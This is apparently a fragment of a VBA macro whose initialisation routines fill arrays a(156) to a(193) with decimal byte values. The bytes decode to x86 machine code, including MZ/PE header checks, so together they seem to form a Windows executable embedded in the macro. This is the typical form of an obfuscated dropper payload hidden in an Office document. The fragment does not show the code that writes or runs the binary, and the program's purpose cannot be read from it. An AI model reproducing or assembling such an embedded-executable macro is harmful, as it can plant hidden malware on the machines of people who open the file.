    a(156) = Array(64, 0, 232, 105, 225, 255, 255, 139, 93, 8, 131, 251, 254, 117, 27, 232, 145, 212, 255, 255, 131, 32, 0, 232, 118, 212, 255, 255, 199, 0, 9, 0, 0, 0, 131, 200, 255, 233, 132, 0, 0, 0, 133, 219, 120, 8, 59, 29, 104, 6, 65, 0, 114, 26, 232, 106, 212, 255, 255, 131, 32, 0, 232, 79, 212, 255, 255, 199, 0, 9, 0, 0, 0, 232, 6, 225, 255, 255, 235, 210, 139, 195, 193, 248, 5, 141, 60, 133, 128, 6, 65, 0, 139, 243, 131, 230, 31, 193, 230, 6, 139, 7, 15, 190, 68, 48, 4, 131, 224, 1, 116, 198, 83, 232, 249, 37, 0, 0, 89, 131, 101, 252, 0, 139, 7, 246, 68, 48)
    a(157) = Array(4, 1, 116, 12, 83, 232, 213, 254, 255, 255, 89, 137, 69, 228, 235, 15, 232, 253, 211, 255, 255, 199, 0, 9, 0, 0, 0, 131, 77, 228, 255, 199, 69, 252, 254, 255, 255, 255, 232, 12, 0, 0, 0, 139, 69, 228, 232, 2, 225, 255, 255, 195, 139, 93, 8, 83, 232, 81, 38, 0, 0, 89, 195, 139, 255, 85, 139, 236, 86, 139, 117, 8, 139, 70, 12, 168, 131, 116, 30, 168, 8, 116, 26, 255, 118, 8, 232, 20, 199, 255, 255, 129, 102, 12, 247, 251, 255, 255, 51, 192, 89, 137, 6, 137, 70, 8, 137, 70, 4, 94, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 139, 0, 129, 56, 99, 115, 109, 224)
    a(158) = Array(117, 42, 131, 120, 16, 3, 117, 36, 139, 64, 20, 61, 32, 5, 147, 25, 116, 21, 61, 33, 5, 147, 25, 116, 14, 61, 34, 5, 147, 25, 116, 7, 61, 0, 64, 153, 1, 117, 5, 232, 239, 11, 0, 0, 51, 192, 93, 194, 4, 0, 104, 112, 90, 64, 0, 255, 21, 128, 176, 64, 0, 51, 192, 195, 139, 255, 85, 139, 236, 86, 232, 67, 6, 0, 0, 139, 240, 133, 246, 15, 132, 50, 1, 0, 0, 139, 78, 92, 139, 85, 8, 139, 193, 87, 57, 16, 116, 13, 131, 192, 12, 141, 185, 144, 0, 0, 0, 59, 199, 114, 239, 129, 193, 144, 0, 0, 0, 59, 193, 115, 4, 57, 16, 116, 2, 51, 192, 133)
    a(159) = Array(192, 116, 7, 139, 80, 8, 133, 210, 117, 7, 51, 192, 233, 245, 0, 0, 0, 131, 250, 5, 117, 12, 131, 96, 8, 0, 51, 192, 64, 233, 228, 0, 0, 0, 131, 250, 1, 15, 132, 216, 0, 0, 0, 139, 77, 12, 83, 139, 94, 96, 137, 78, 96, 139, 72, 4, 131, 249, 8, 15, 133, 182, 0, 0, 0, 106, 36, 89, 139, 126, 92, 131, 100, 57, 8, 0, 131, 193, 12, 129, 249, 144, 0, 0, 0, 124, 237, 139, 0, 139, 126, 100, 61, 142, 0, 0, 192, 117, 9, 199, 70, 100, 131, 0, 0, 0, 235, 126, 61, 144, 0, 0, 192, 117, 9, 199, 70, 100, 129, 0, 0, 0, 235, 110, 61, 145, 0, 0)
    a(160) = Array(192, 117, 9, 199, 70, 100, 132, 0, 0, 0, 235, 94, 61, 147, 0, 0, 192, 117, 9, 199, 70, 100, 133, 0, 0, 0, 235, 78, 61, 141, 0, 0, 192, 117, 9, 199, 70, 100, 130, 0, 0, 0, 235, 62, 61, 143, 0, 0, 192, 117, 9, 199, 70, 100, 134, 0, 0, 0, 235, 46, 61, 146, 0, 0, 192, 117, 9, 199, 70, 100, 138, 0, 0, 0, 235, 30, 61, 181, 2, 0, 192, 117, 9, 199, 70, 100, 141, 0, 0, 0, 235, 14, 61, 180, 2, 0, 192, 117, 7, 199, 70, 100, 142, 0, 0, 0, 255, 118, 100, 106, 8, 255, 210, 89, 137, 126, 100, 235, 7, 131, 96, 8, 0, 81, 255, 210, 89, 137)
    a(161) = Array(94, 96, 91, 131, 200, 255, 95, 94, 93, 195, 161, 188, 23, 65, 0, 51, 210, 133, 192, 117, 5, 184, 176, 191, 64, 0, 15, 183, 8, 131, 249, 32, 119, 9, 102, 133, 201, 116, 40, 133, 210, 116, 28, 131, 249, 34, 117, 9, 51, 201, 133, 210, 15, 148, 193, 139, 209, 131, 192, 2, 235, 220, 102, 131, 249, 32, 119, 11, 131, 192, 2, 15, 183, 8, 102, 133, 201, 117, 239, 195, 139, 255, 86, 139, 53, 228, 248, 64, 0, 87, 51, 255, 133, 246, 117, 26, 131, 200, 255, 233, 157, 0, 0, 0, 102, 131, 248, 61, 116, 1, 71, 86, 232, 132, 18, 0, 0, 89, 141, 116, 70, 2, 15, 183, 6, 102, 133, 192)
    a(162) = Array(117, 230, 83, 106, 4, 71, 87, 232, 111, 19, 0, 0, 139, 216, 89, 89, 137, 29, 48, 252, 64, 0, 133, 219, 117, 5, 131, 200, 255, 235, 101, 139, 53, 228, 248, 64, 0, 235, 53, 86, 232, 76, 18, 0, 0, 102, 131, 62, 61, 89, 141, 120, 1, 116, 34, 106, 2, 87, 232, 60, 19, 0, 0, 89, 89, 137, 3, 133, 192, 116, 65, 86, 87, 80, 232, 69, 18, 0, 0, 131, 196, 12, 133, 192, 117, 73, 131, 195, 4, 141, 52, 126, 102, 131, 62, 0, 117, 197, 255, 53, 228, 248, 64, 0, 232, 130, 196, 255, 255, 131, 37, 228, 248, 64, 0, 0, 131, 35, 0, 199, 5, 164, 23, 65, 0, 1, 0, 0)
    a(163) = Array(0, 51, 192, 89, 91, 95, 94, 195, 255, 53, 48, 252, 64, 0, 232, 92, 196, 255, 255, 131, 37, 48, 252, 64, 0, 0, 131, 200, 255, 235, 228, 51, 192, 80, 80, 80, 80, 80, 232, 87, 221, 255, 255, 204, 139, 255, 85, 139, 236, 81, 86, 51, 210, 87, 139, 125, 12, 137, 19, 139, 241, 199, 7, 1, 0, 0, 0, 57, 85, 8, 116, 9, 139, 77, 8, 131, 69, 8, 4, 137, 49, 102, 131, 56, 34, 117, 20, 139, 125, 12, 51, 201, 133, 210, 15, 148, 193, 106, 34, 131, 192, 2, 139, 209, 89, 235, 26, 255, 3, 133, 246, 116, 9, 102, 139, 8, 102, 137, 14, 131, 198, 2, 15, 183, 8, 131, 192, 2)
    a(164) = Array(102, 133, 201, 116, 59, 133, 210, 117, 200, 102, 131, 249, 32, 116, 6, 102, 131, 249, 9, 117, 188, 133, 246, 116, 6, 51, 201, 102, 137, 78, 254, 131, 101, 252, 0, 51, 210, 102, 57, 16, 15, 132, 197, 0, 0, 0, 15, 183, 8, 131, 249, 32, 116, 5, 131, 249, 9, 117, 10, 131, 192, 2, 235, 238, 131, 232, 2, 235, 218, 102, 57, 16, 15, 132, 165, 0, 0, 0, 57, 85, 8, 116, 9, 139, 77, 8, 131, 69, 8, 4, 137, 49, 255, 7, 51, 255, 71, 51, 210, 235, 4, 131, 192, 2, 66, 102, 131, 56, 92, 116, 246, 102, 131, 56, 34, 117, 56, 246, 194, 1, 117, 31, 131, 125, 252, 0, 116, 12)
    a(165) = Array(102, 131, 120, 2, 34, 117, 5, 131, 192, 2, 235, 13, 51, 201, 51, 255, 57, 77, 252, 15, 148, 193, 137, 77, 252, 209, 234, 235, 16, 74, 133, 246, 116, 9, 106, 92, 89, 102, 137, 14, 131, 198, 2, 255, 3, 133, 210, 117, 236, 15, 183, 8, 102, 133, 201, 116, 36, 57, 85, 252, 117, 10, 131, 249, 32, 116, 26, 131, 249, 9, 116, 21, 133, 255, 116, 12, 133, 246, 116, 6, 102, 137, 14, 131, 198, 2, 255, 3, 131, 192, 2, 235, 129, 133, 246, 116, 8, 51, 201, 102, 137, 14, 131, 198, 2, 255, 3, 139, 125, 12, 233, 48, 255, 255, 255, 139, 69, 8, 59, 194, 116, 2, 137, 16, 255, 7, 95, 94)
    a(166) = Array(201, 195, 139, 255, 85, 139, 236, 81, 81, 83, 86, 87, 104, 4, 1, 0, 0, 190, 136, 2, 65, 0, 86, 51, 192, 51, 219, 83, 102, 163, 144, 4, 65, 0, 255, 21, 164, 176, 64, 0, 161, 188, 23, 65, 0, 137, 53, 60, 252, 64, 0, 59, 195, 116, 7, 139, 248, 102, 57, 24, 117, 2, 139, 254, 141, 69, 252, 80, 83, 141, 93, 248, 51, 201, 139, 199, 232, 91, 254, 255, 255, 139, 93, 252, 89, 89, 129, 251, 255, 255, 255, 63, 115, 74, 139, 77, 248, 129, 249, 255, 255, 255, 127, 115, 63, 141, 4, 89, 3, 192, 3, 201, 59, 193, 114, 52, 80, 232, 188, 16, 0, 0, 139, 240, 89, 133, 246, 116)
    a(167) = Array(39, 141, 69, 252, 80, 141, 12, 158, 86, 141, 93, 248, 139, 199, 232, 25, 254, 255, 255, 139, 69, 252, 72, 89, 163, 28, 252, 64, 0, 89, 137, 53, 36, 252, 64, 0, 51, 192, 235, 3, 131, 200, 255, 95, 94, 91, 201, 195, 139, 255, 86, 255, 21, 228, 176, 64, 0, 139, 240, 51, 201, 59, 241, 117, 4, 51, 192, 94, 195, 102, 57, 14, 116, 16, 131, 192, 2, 102, 57, 8, 117, 248, 131, 192, 2, 102, 57, 8, 117, 240, 83, 43, 198, 141, 88, 2, 87, 83, 232, 79, 16, 0, 0, 139, 248, 89, 133, 255, 117, 13, 86, 255, 21, 224, 176, 64, 0, 139, 199, 95, 91, 94, 195, 83, 86, 87, 232, 109)
    a(168) = Array(242, 255, 255, 131, 196, 12, 235, 230, 139, 255, 86, 184, 64, 205, 64, 0, 190, 64, 205, 64, 0, 87, 139, 248, 59, 198, 115, 15, 139, 7, 133, 192, 116, 2, 255, 208, 131, 199, 4, 59, 254, 114, 241, 95, 94, 195, 139, 255, 86, 184, 72, 205, 64, 0, 190, 72, 205, 64, 0, 87, 139, 248, 59, 198, 115, 15, 139, 7, 133, 192, 116, 2, 255, 208, 131, 199, 4, 59, 254, 114, 241, 95, 94, 195, 106, 0, 255, 21, 168, 176, 64, 0, 195, 255, 21, 232, 176, 64, 0, 194, 4, 0, 204, 204, 204, 139, 255, 86, 255, 53, 68, 229, 64, 0, 255, 21, 236, 176, 64, 0, 139, 240, 133, 246, 117, 27, 255, 53)
    a(169) = Array(152, 4, 65, 0, 255, 21, 152, 176, 64, 0, 139, 240, 86, 255, 53, 68, 229, 64, 0, 255, 21, 240, 176, 64, 0, 139, 198, 94, 195, 161, 64, 229, 64, 0, 131, 248, 255, 116, 22, 80, 255, 53, 160, 4, 65, 0, 255, 21, 152, 176, 64, 0, 255, 208, 131, 13, 64, 229, 64, 0, 255, 161, 68, 229, 64, 0, 131, 248, 255, 116, 14, 80, 255, 21, 244, 176, 64, 0, 131, 13, 68, 229, 64, 0, 255, 233, 222, 4, 0, 0, 106, 8, 104, 24, 207, 64, 0, 232, 138, 218, 255, 255, 104, 180, 191, 64, 0, 255, 21, 144, 176, 64, 0, 139, 117, 8, 199, 70, 92, 16, 191, 64, 0, 131, 102, 8, 0, 51)
    a(170) = Array(255, 71, 137, 126, 20, 137, 126, 112, 198, 134, 200, 0, 0, 0, 67, 198, 134, 75, 1, 0, 0, 67, 199, 70, 104, 240, 232, 64, 0, 106, 13, 232, 196, 5, 0, 0, 89, 131, 101, 252, 0, 255, 118, 104, 255, 21, 248, 176, 64, 0, 199, 69, 252, 254, 255, 255, 255, 232, 62, 0, 0, 0, 106, 12, 232, 163, 5, 0, 0, 89, 137, 125, 252, 139, 69, 12, 137, 70, 108, 133, 192, 117, 8, 161, 232, 232, 64, 0, 137, 70, 108, 255, 118, 108, 232, 84, 38, 0, 0, 89, 199, 69, 252, 254, 255, 255, 255, 232, 21, 0, 0, 0, 232, 64, 218, 255, 255, 195, 51, 255, 71, 139, 117, 8, 106, 13, 232, 140)
    a(171) = Array(4, 0, 0, 89, 195, 106, 12, 232, 131, 4, 0, 0, 89, 195, 139, 255, 86, 87, 255, 21, 16, 176, 64, 0, 255, 53, 64, 229, 64, 0, 139, 248, 232, 196, 254, 255, 255, 255, 208, 139, 240, 133, 246, 117, 78, 104, 20, 2, 0, 0, 106, 1, 232, 194, 14, 0, 0, 139, 240, 89, 89, 133, 246, 116, 58, 86, 255, 53, 64, 229, 64, 0, 255, 53, 156, 4, 65, 0, 255, 21, 152, 176, 64, 0, 255, 208, 133, 192, 116, 24, 106, 0, 86, 232, 248, 254, 255, 255, 89, 89, 255, 21, 0, 177, 64, 0, 131, 78, 4, 255, 137, 6, 235, 9, 86, 232, 247, 191, 255, 255, 89, 51, 246, 87, 255, 21, 252, 176)
    a(172) = Array(64, 0, 95, 139, 198, 94, 195, 139, 255, 86, 232, 127, 255, 255, 255, 139, 240, 133, 246, 117, 8, 106, 16, 232, 170, 207, 255, 255, 89, 139, 198, 94, 195, 106, 8, 104, 64, 207, 64, 0, 232, 67, 217, 255, 255, 139, 117, 8, 133, 246, 15, 132, 248, 0, 0, 0, 139, 70, 36, 133, 192, 116, 7, 80, 232, 170, 191, 255, 255, 89, 139, 70, 44, 133, 192, 116, 7, 80, 232, 156, 191, 255, 255, 89, 139, 70, 52, 133, 192, 116, 7, 80, 232, 142, 191, 255, 255, 89, 139, 70, 60, 133, 192, 116, 7, 80, 232, 128, 191, 255, 255, 89, 139, 70, 64, 133, 192, 116, 7, 80, 232, 114, 191, 255, 255, 89, 139, 70)
    a(173) = Array(68, 133, 192, 116, 7, 80, 232, 100, 191, 255, 255, 89, 139, 70, 72, 133, 192, 116, 7, 80, 232, 86, 191, 255, 255, 89, 139, 70, 92, 61, 16, 191, 64, 0, 116, 7, 80, 232, 69, 191, 255, 255, 89, 106, 13, 232, 54, 4, 0, 0, 89, 131, 101, 252, 0, 139, 126, 104, 133, 255, 116, 26, 87, 255, 21, 4, 177, 64, 0, 133, 192, 117, 15, 129, 255, 240, 232, 64, 0, 116, 7, 87, 232, 24, 191, 255, 255, 89, 199, 69, 252, 254, 255, 255, 255, 232, 87, 0, 0, 0, 106, 12, 232, 253, 3, 0, 0, 89, 199, 69, 252, 1, 0, 0, 0, 139, 126, 108, 133, 255, 116, 35, 87, 232, 70, 37, 0, 0)
    a(174) = Array(89, 59, 61, 232, 232, 64, 0, 116, 20, 129, 255, 16, 232, 64, 0, 116, 12, 131, 63, 0, 117, 7, 87, 232, 195, 37, 0, 0, 89, 199, 69, 252, 254, 255, 255, 255, 232, 30, 0, 0, 0, 86, 232, 192, 190, 255, 255, 89, 232, 128, 216, 255, 255, 194, 4, 0, 139, 117, 8, 106, 13, 232, 205, 2, 0, 0, 89, 195, 139, 117, 8, 106, 12, 232, 193, 2, 0, 0, 89, 195, 139, 255, 87, 104, 180, 191, 64, 0, 255, 21, 144, 176, 64, 0, 139, 248, 133, 255, 117, 9, 232, 52, 253, 255, 255, 51, 192, 95, 195, 86, 139, 53, 140, 176, 64, 0, 104, 240, 191, 64, 0, 87, 255, 214, 104, 228, 191, 64)
    a(175) = Array(0, 87, 163, 148, 4, 65, 0, 255, 214, 104, 216, 191, 64, 0, 87, 163, 152, 4, 65, 0, 255, 214, 104, 208, 191, 64, 0, 87, 163, 156, 4, 65, 0, 255, 214, 131, 61, 148, 4, 65, 0, 0, 139, 53, 240, 176, 64, 0, 163, 160, 4, 65, 0, 116, 22, 131, 61, 152, 4, 65, 0, 0, 116, 13, 131, 61, 156, 4, 65, 0, 0, 116, 4, 133, 192, 117, 36, 161, 236, 176, 64, 0, 163, 152, 4, 65, 0, 161, 244, 176, 64, 0, 199, 5, 148, 4, 65, 0, 221, 95, 64, 0, 137, 53, 156, 4, 65, 0, 163, 160, 4, 65, 0, 255, 21, 232, 176, 64, 0, 163, 68, 229, 64, 0, 131, 248, 255, 15)
    a(176) = Array(132, 193, 0, 0, 0, 255, 53, 152, 4, 65, 0, 80, 255, 214, 133, 192, 15, 132, 176, 0, 0, 0, 232, 51, 203, 255, 255, 255, 53, 148, 4, 65, 0, 139, 53, 168, 176, 64, 0, 255, 214, 255, 53, 152, 4, 65, 0, 163, 148, 4, 65, 0, 255, 214, 255, 53, 156, 4, 65, 0, 163, 152, 4, 65, 0, 255, 214, 255, 53, 160, 4, 65, 0, 163, 156, 4, 65, 0, 255, 214, 163, 160, 4, 65, 0, 232, 20, 1, 0, 0, 133, 192, 116, 99, 139, 61, 152, 176, 64, 0, 104, 161, 97, 64, 0, 255, 53, 148, 4, 65, 0, 255, 215, 255, 208, 163, 64, 229, 64, 0, 131, 248, 255, 116, 68, 104, 20, 2)
    a(177) = Array(0, 0, 106, 1, 232, 242, 11, 0, 0, 139, 240, 89, 89, 133, 246, 116, 48, 86, 255, 53, 64, 229, 64, 0, 255, 53, 156, 4, 65, 0, 255, 215, 255, 208, 133, 192, 116, 27, 106, 0, 86, 232, 44, 252, 255, 255, 89, 89, 255, 21, 0, 177, 64, 0, 131, 78, 4, 255, 137, 6, 51, 192, 64, 235, 7, 232, 215, 251, 255, 255, 51, 192, 94, 95, 195, 139, 255, 85, 139, 236, 131, 236, 16, 161, 4, 224, 64, 0, 131, 101, 248, 0, 131, 101, 252, 0, 83, 87, 191, 78, 230, 64, 187, 187, 0, 0, 255, 255, 59, 199, 116, 13, 133, 195, 116, 9, 247, 208, 163, 8, 224, 64, 0, 235, 101, 86, 141, 69)
    a(178) = Array(248, 80, 255, 21, 16, 177, 64, 0, 139, 117, 252, 51, 117, 248, 255, 21, 12, 177, 64, 0, 51, 240, 255, 21, 0, 177, 64, 0, 51, 240, 255, 21, 40, 176, 64, 0, 51, 240, 141, 69, 240, 80, 255, 21, 8, 177, 64, 0, 139, 69, 244, 51, 69, 240, 51, 240, 59, 247, 117, 7, 190, 79, 230, 64, 187, 235, 16, 133, 243, 117, 12, 139, 198, 13, 17, 71, 0, 0, 193, 224, 16, 11, 240, 137, 53, 4, 224, 64, 0, 247, 214, 137, 53, 8, 224, 64, 0, 94, 95, 91, 201, 195, 131, 37, 100, 6, 65, 0, 0, 195, 139, 255, 86, 87, 51, 246, 191, 168, 4, 65, 0, 131, 60, 245, 76, 229, 64, 0)
    a(179) = Array(1, 117, 29, 141, 4, 245, 72, 229, 64, 0, 137, 56, 104, 160, 15, 0, 0, 255, 48, 131, 199, 24, 255, 21, 180, 176, 64, 0, 133, 192, 116, 12, 70, 131, 254, 36, 124, 211, 51, 192, 64, 95, 94, 195, 131, 36, 245, 72, 229, 64, 0, 0, 51, 192, 235, 241, 139, 255, 83, 139, 29, 216, 176, 64, 0, 86, 190, 72, 229, 64, 0, 87, 139, 62, 133, 255, 116, 19, 131, 126, 4, 1, 116, 13, 87, 255, 211, 87, 232, 18, 188, 255, 255, 131, 38, 0, 89, 131, 198, 8, 129, 254, 104, 230, 64, 0, 124, 220, 190, 72, 229, 64, 0, 95, 139, 6, 133, 192, 116, 9, 131, 126, 4, 1, 117, 3, 80, 255)
    a(180) = Array(211, 131, 198, 8, 129, 254, 104, 230, 64, 0, 124, 230, 94, 91, 195, 139, 255, 85, 139, 236, 139, 69, 8, 255, 52, 197, 72, 229, 64, 0, 255, 21, 176, 176, 64, 0, 93, 195, 106, 12, 104, 104, 207, 64, 0, 232, 62, 213, 255, 255, 51, 255, 71, 137, 125, 228, 51, 219, 57, 29, 20, 252, 64, 0, 117, 24, 232, 114, 205, 255, 255, 106, 30, 232, 188, 203, 255, 255, 104, 255, 0, 0, 0, 232, 204, 200, 255, 255, 89, 89, 139, 117, 8, 141, 52, 245, 72, 229, 64, 0, 57, 30, 116, 4, 139, 199, 235, 109, 106, 24, 232, 195, 9, 0, 0, 89, 139, 248, 59, 251, 117, 15, 232, 19, 200, 255, 255, 199)
End Sub

Private Sub Init6()
    a(181) = Array(0, 12, 0, 0, 0, 51, 192, 235, 80, 106, 10, 232, 88, 0, 0, 0, 89, 137, 93, 252, 57, 30, 117, 43, 104, 160, 15, 0, 0, 87, 255, 21, 180, 176, 64, 0, 133, 192, 117, 23, 87, 232, 65, 187, 255, 255, 89, 232, 222, 199, 255, 255, 199, 0, 12, 0, 0, 0, 137, 93, 228, 235, 11, 137, 62, 235, 7, 87, 232, 38, 187, 255, 255, 89, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 215, 212, 255, 255, 195, 106, 10, 232, 41, 255, 255, 255, 89, 195, 139, 255, 85, 139, 236, 139, 69, 8, 86, 141, 52, 197, 72, 229, 64, 0, 131, 62, 0, 117, 19, 80, 232, 35)
    a(182) = Array(255, 255, 255, 89, 133, 192, 117, 8, 106, 17, 232, 183, 202, 255, 255, 89, 255, 54, 255, 21, 172, 176, 64, 0, 94, 93, 195, 106, 8, 104, 136, 207, 64, 0, 232, 73, 212, 255, 255, 232, 219, 250, 255, 255, 139, 64, 120, 133, 192, 116, 22, 131, 101, 252, 0, 255, 208, 235, 7, 51, 192, 64, 195, 139, 101, 232, 199, 69, 252, 254, 255, 255, 255, 232, 134, 42, 0, 0, 232, 98, 212, 255, 255, 195, 104, 155, 102, 64, 0, 255, 21, 168, 176, 64, 0, 163, 248, 5, 65, 0, 195, 139, 255, 85, 139, 236, 139, 69, 8, 163, 252, 5, 65, 0, 163, 0, 6, 65, 0, 163, 4, 6, 65, 0, 163, 8, 6, 65)
    a(183) = Array(0, 93, 195, 139, 255, 85, 139, 236, 139, 69, 8, 139, 13, 172, 191, 64, 0, 86, 57, 80, 4, 116, 15, 139, 241, 107, 246, 12, 3, 117, 8, 131, 192, 12, 59, 198, 114, 236, 107, 201, 12, 3, 77, 8, 94, 59, 193, 115, 5, 57, 80, 4, 116, 2, 51, 192, 93, 195, 255, 53, 4, 6, 65, 0, 255, 21, 152, 176, 64, 0, 195, 106, 32, 104, 168, 207, 64, 0, 232, 157, 211, 255, 255, 51, 255, 137, 125, 228, 137, 125, 216, 139, 93, 8, 131, 251, 11, 127, 75, 116, 21, 139, 195, 106, 2, 89, 43, 193, 116, 34, 43, 193, 116, 8, 43, 193, 116, 89, 43, 193, 117, 67, 232, 143, 249, 255, 255, 139)
    a(184) = Array(248, 137, 125, 216, 133, 255, 117, 20, 131, 200, 255, 233, 84, 1, 0, 0, 190, 252, 5, 65, 0, 161, 252, 5, 65, 0, 235, 85, 255, 119, 92, 139, 211, 232, 93, 255, 255, 255, 89, 141, 112, 8, 139, 6, 235, 81, 139, 195, 131, 232, 15, 116, 50, 131, 232, 6, 116, 33, 72, 116, 18, 232, 80, 198, 255, 255, 199, 0, 22, 0, 0, 0, 232, 7, 211, 255, 255, 235, 185, 190, 4, 6, 65, 0, 161, 4, 6, 65, 0, 235, 22, 190, 0, 6, 65, 0, 161, 0, 6, 65, 0, 235, 10, 190, 8, 6, 65, 0, 161, 8, 6, 65, 0, 199, 69, 228, 1, 0, 0, 0, 80, 255, 21, 152, 176, 64, 0, 137)
    a(185) = Array(69, 224, 51, 192, 131, 125, 224, 1, 15, 132, 214, 0, 0, 0, 57, 69, 224, 117, 7, 106, 3, 232, 248, 200, 255, 255, 57, 69, 228, 116, 7, 80, 232, 67, 254, 255, 255, 89, 51, 192, 137, 69, 252, 131, 251, 8, 116, 10, 131, 251, 11, 116, 5, 131, 251, 4, 117, 27, 139, 79, 96, 137, 77, 212, 137, 71, 96, 131, 251, 8, 117, 62, 139, 79, 100, 137, 77, 208, 199, 71, 100, 140, 0, 0, 0, 131, 251, 8, 117, 44, 139, 13, 160, 191, 64, 0, 137, 77, 220, 139, 13, 164, 191, 64, 0, 3, 13, 160, 191, 64, 0, 57, 77, 220, 125, 25, 139, 77, 220, 107, 201, 12, 139, 87, 92, 137, 68, 17)
    a(186) = Array(8, 255, 69, 220, 235, 221, 232, 73, 247, 255, 255, 137, 6, 199, 69, 252, 254, 255, 255, 255, 232, 21, 0, 0, 0, 131, 251, 8, 117, 31, 255, 119, 100, 83, 255, 85, 224, 89, 235, 25, 139, 93, 8, 139, 125, 216, 131, 125, 228, 0, 116, 8, 106, 0, 232, 212, 252, 255, 255, 89, 195, 83, 255, 85, 224, 89, 131, 251, 8, 116, 10, 131, 251, 11, 116, 5, 131, 251, 4, 117, 17, 139, 69, 212, 137, 71, 96, 131, 251, 8, 117, 6, 139, 69, 208, 137, 71, 100, 51, 192, 232, 76, 210, 255, 255, 195, 139, 255, 85, 139, 236, 139, 69, 8, 163, 16, 6, 65, 0, 93, 195, 139, 255, 85, 139, 236, 139, 69)
    a(187) = Array(8, 163, 20, 6, 65, 0, 93, 195, 139, 255, 85, 139, 236, 81, 83, 86, 139, 53, 152, 176, 64, 0, 87, 255, 53, 172, 23, 65, 0, 255, 214, 255, 53, 168, 23, 65, 0, 139, 216, 137, 93, 252, 255, 214, 139, 240, 59, 243, 15, 130, 129, 0, 0, 0, 139, 254, 43, 251, 141, 71, 4, 131, 248, 4, 114, 117, 83, 232, 95, 40, 0, 0, 139, 216, 141, 71, 4, 89, 59, 216, 115, 72, 184, 0, 8, 0, 0, 59, 216, 115, 2, 139, 195, 3, 195, 59, 195, 114, 15, 80, 255, 117, 252, 232, 219, 6, 0, 0, 89, 89, 133, 192, 117, 22, 141, 67, 16, 59, 195, 114, 62, 80, 255, 117, 252, 232, 197, 6)
    a(188) = Array(0, 0, 89, 89, 133, 192, 116, 47, 193, 255, 2, 80, 141, 52, 184, 255, 21, 168, 176, 64, 0, 163, 172, 23, 65, 0, 255, 117, 8, 139, 61, 168, 176, 64, 0, 255, 215, 137, 6, 131, 198, 4, 86, 255, 215, 163, 168, 23, 65, 0, 139, 69, 8, 235, 2, 51, 192, 95, 94, 91, 201, 195, 139, 255, 86, 106, 4, 106, 32, 232, 49, 6, 0, 0, 89, 89, 139, 240, 86, 255, 21, 168, 176, 64, 0, 163, 172, 23, 65, 0, 163, 168, 23, 65, 0, 133, 246, 117, 5, 106, 24, 88, 94, 195, 131, 38, 0, 51, 192, 94, 195, 106, 12, 104, 200, 207, 64, 0, 232, 245, 208, 255, 255, 232, 188, 196, 255, 255)
    a(189) = Array(131, 101, 252, 0, 255, 117, 8, 232, 252, 254, 255, 255, 89, 137, 69, 228, 199, 69, 252, 254, 255, 255, 255, 232, 9, 0, 0, 0, 139, 69, 228, 232, 17, 209, 255, 255, 195, 232, 155, 196, 255, 255, 195, 139, 255, 85, 139, 236, 255, 117, 8, 232, 183, 255, 255, 255, 247, 216, 27, 192, 247, 216, 89, 72, 93, 195, 139, 255, 86, 87, 51, 255, 255, 183, 104, 230, 64, 0, 255, 21, 168, 176, 64, 0, 137, 135, 104, 230, 64, 0, 131, 199, 4, 131, 255, 40, 114, 230, 95, 94, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 139, 255, 85, 139, 236, 139, 77, 8, 184, 77, 90, 0, 0, 102, 57, 1)
    a(190) = Array(116, 4, 51, 192, 93, 195, 139, 65, 60, 3, 193, 129, 56, 80, 69, 0, 0, 117, 239, 51, 210, 185, 11, 1, 0, 0, 102, 57, 72, 24, 15, 148, 194, 139, 194, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 139, 255, 85, 139, 236, 139, 69, 8, 139, 72, 60, 3, 200, 15, 183, 65, 20, 83, 86, 15, 183, 113, 6, 51, 210, 87, 141, 68, 8, 24, 133, 246, 116, 27, 139, 125, 12, 139, 72, 12, 59, 249, 114, 9, 139, 88, 8, 3, 217, 59, 251, 114, 10, 66, 131, 192, 40, 59, 214, 114, 232, 51, 192, 95, 94, 91, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204)
    a(191) = Array(139, 255, 85, 139, 236, 106, 254, 104, 232, 207, 64, 0, 104, 80, 59, 64, 0, 100, 161, 0, 0, 0, 0, 80, 131, 236, 8, 83, 86, 87, 161, 4, 224, 64, 0, 49, 69, 248, 51, 197, 80, 141, 69, 240, 100, 163, 0, 0, 0, 0, 137, 101, 232, 199, 69, 252, 0, 0, 0, 0, 104, 0, 0, 64, 0, 232, 42, 255, 255, 255, 131, 196, 4, 133, 192, 116, 84, 139, 69, 8, 45, 0, 0, 64, 0, 80, 104, 0, 0, 64, 0, 232, 80, 255, 255, 255, 131, 196, 8, 133, 192, 116, 58, 139, 64, 36, 193, 232, 31, 247, 208, 131, 224, 1, 199, 69, 252, 254, 255, 255, 255, 139, 77, 240, 100, 137, 13, 0)
    a(192) = Array(0, 0, 0, 89, 95, 94, 91, 139, 229, 93, 195, 139, 69, 236, 139, 8, 51, 210, 129, 57, 5, 0, 0, 192, 15, 148, 194, 139, 194, 195, 139, 101, 232, 199, 69, 252, 254, 255, 255, 255, 51, 192, 139, 77, 240, 100, 137, 13, 0, 0, 0, 0, 89, 95, 94, 91, 139, 229, 93, 195, 204, 204, 204, 204, 139, 76, 36, 4, 247, 193, 3, 0, 0, 0, 116, 36, 138, 1, 131, 193, 1, 132, 192, 116, 78, 247, 193, 3, 0, 0, 0, 117, 239, 5, 0, 0, 0, 0, 141, 164, 36, 0, 0, 0, 0, 141, 164, 36, 0, 0, 0, 0, 139, 1, 186, 255, 254, 254, 126, 3, 208, 131, 240, 255, 51, 194, 131, 193)
    a(193) = Array(4, 169, 0, 1, 1, 129, 116, 232, 139, 65, 252, 132, 192, 116, 50, 132, 228, 116, 36, 169, 0, 0, 255, 0, 116, 19, 169, 0, 0, 0, 255, 116, 2, 235, 205, 141, 65, 255, 139, 76, 36, 4, 43, 193, 195, 141, 65, 254, 139, 76, 36, 4, 43, 193, 195, 141, 65, 253, 139, 76, 36, 4, 43, 193, 195, 141, 65, 252, 139, 76, 36, 4, 43, 193, 195, 139, 255, 85, 139, 236, 131, 236, 36, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 139, 69, 8, 83, 137, 69, 224, 139, 69, 12, 86, 87, 137, 69, 228, 232, 99, 243, 255, 255, 131, 101, 236, 0, 131, 61, 24, 6, 65, 0, 0, 137, 69, 232, 117)
